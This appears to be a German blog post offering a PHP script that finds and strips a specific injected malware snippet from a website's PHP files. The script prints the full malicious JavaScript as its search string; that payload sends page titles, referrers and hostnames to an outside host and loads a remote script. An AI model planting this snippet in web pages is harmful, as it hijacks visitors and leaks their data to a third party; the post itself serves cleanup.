Identischen Schadcode entfernen

Wenn man eindeutigen und identischen Schadcode aus Dateien entfernen möchte, hilft dieses Skript weiter (Schadcode in Zeile 4 natürlich entsprechend austauschen), Datei als clean.php speichern, ins gewünschte Verzeichnis laden und im Browser aufrufen

<?php

$schadcode = <<<'EOD'
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://ldpneus.re/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
EOD;

exec('find . -type f -name "*.php"', $list);

foreach ($list as $file) {
  $contents = file_get_contents($file);
  if (strpos($contents, $schadcode) !== false) {

    echo 'INFIZIERT: ';
    $contents = str_replace($schadcode, '', $contents);
    $oldSha = sha1_file($file);
    file_put_contents($file, $contents);
    $newSha = sha1_file($file);
    echo basename($file).' - ['.$oldSha.']......PATCHING..... - ['.$newSha.']'."\n";
  }
}

 

 

0 Kommentare

Dein Kommentar

Want to join the discussion?
Feel free to contribute!

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.